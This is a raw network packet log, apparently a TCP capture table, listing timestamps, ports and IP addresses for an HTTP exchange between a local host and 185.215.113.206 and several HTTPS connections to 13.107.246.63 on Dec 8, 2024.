Dec 8, 2024 00:48:42.423949003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.424591064 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.424653053 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.424691916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.424735069 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.425436974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.425481081 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.425559044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.425600052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.426202059 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.426249027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.537877083 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.537920952 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.537957907 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.537988901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.538225889 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.538312912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.538358927 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.538443089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.538444996 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.538499117 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.539148092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.539213896 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.539244890 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.539639950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.539954901 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.540008068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.540050983 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.540122986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.540810108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.540862083 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.540924072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.541045904 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.541569948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.541614056 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.541671038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.541712046 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.542391062 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.542442083 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.542484999 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.542527914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.543234110 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.543311119 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.543361902 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.544048071 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.544092894 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.544147968 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.544193029 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.544823885 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.544889927 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.544950962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.544995070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.545645952 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.545700073 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.545764923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.545804977 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.546447039 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.546489000 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.546554089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.546597958 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.547249079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.547363997 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.547408104 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.548099995 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.548145056 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.548176050 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.548214912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.548876047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.548919916 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.548969030 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.549011946 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.549693108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.549745083 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.549782038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.549822092 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.550528049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.550574064 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.550640106 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.550683022 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.551331043 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.551431894 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.551476002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.552126884 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.552175045 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.552185059 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.552222967 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.662240028 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.662326097 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.662360907 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.662406921 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.662600040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.662646055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.662836075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.662878990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.662985086 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.663028002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.663559914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.663604975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.663625956 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.663670063 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.664144039 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.664189100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.664242983 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.664289951 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.664870024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.664915085 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.664972067 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.665015936 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.665693998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.665735006 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.665817976 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.665860891 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.666515112 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.666558027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.666613102 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.666662931 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.667309999 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.667356014 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.667412043 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.667453051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.668123960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.668171883 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.668211937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.668256998 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.668932915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.668977976 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.669008017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.669048071 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.669734001 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.669775963 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.669833899 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.669872999 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.670588017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.670635939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.670654058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.670696974 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.671386957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.671435118 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.671500921 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.671550035 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.672172070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.672215939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.672271967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.672324896 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.672985077 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.673037052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.673382044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.673429012 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.673804998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.673850060 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.673887968 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.673929930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.674618959 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.674659967 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.674732924 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.674767017 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.675419092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.675544977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.675595999 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.676248074 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.676299095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.676341057 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.677053928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.677119017 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.677119017 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.677155018 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.786859989 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.786971092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.787061930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.787233114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.787350893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.787409067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.788065910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.788125038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.788165092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.788207054 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.788887024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.788930893 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.788974047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.789011002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.789675951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.789725065 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.789783955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.789855957 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.790498018 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.790541887 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.790605068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.790647030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.791310072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.791410923 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.791455984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.792109966 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.792152882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.792215109 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.792259932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.792941093 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.792984009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.793035030 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.793076992 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.793725967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.793771982 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.793898106 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.793940067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.794538975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.794583082 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.794629097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.794668913 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.795361042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.795465946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.795512915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.796190023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.796236992 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.796310902 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.796356916 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.796988010 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.797033072 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.797080040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.797122002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.797844887 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.797900915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.797938108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.797975063 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.798599005 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.798648119 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.798707008 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.798749924 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.799417973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.799467087 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.799540043 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.799583912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.800236940 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.800282001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.800329924 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.800405979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.801053047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.801100969 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.801167965 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.801218033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.801843882 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.801892996 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.830205917 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.830264091 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.830328941 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.830514908 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.830524921 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.830540895 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.830545902 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.832967043 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.833013058 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.835278034 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.835448027 CET	49795	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.835458994 CET	443	49795	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.836973906 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837040901 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837086916 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837217093 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837217093 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837239981 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837249994 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837552071 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837599993 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837655067 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837671995 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837721109 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837805033 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837814093 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837815046 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837826967 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837831020 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.837955952 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.837969065 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.838001013 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.838006020 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.838618994 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.838670015 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.839262009 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.839287043 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.839292049 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.839306116 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.839318037 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.842004061 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.842020988 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.842072010 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.842669010 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.842694044 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.842736006 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843040943 CET	49796	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843048096 CET	443	49796	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.843123913 CET	49797	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843136072 CET	443	49797	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.843683958 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843691111 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.843741894 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843839884 CET	49798	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.843846083 CET	443	49798	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.844399929 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.844407082 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.845331907 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.845443010 CET	49799	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:42.845452070 CET	443	49799	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:42.911227942 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.911329031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.911350012 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.911544085 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.911588907 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.911673069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.911715031 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.911765099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.911811113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.912463903 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.912504911 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.912570953 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.912607908 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.913297892 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.913336039 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.913386106 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.913424015 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.914088011 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.914130926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.914185047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.914222002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.914930105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.914968967 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.978738070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.978781939 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:42.978800058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:42.978826046 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.073930025 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.073990107 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.074053049 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.074064970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.074110985 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.074173927 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.074209929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.074847937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.074884892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.074927092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.074964046 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.075684071 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.075762987 CET	80	49784	185.215.113.206	192.168.2.7
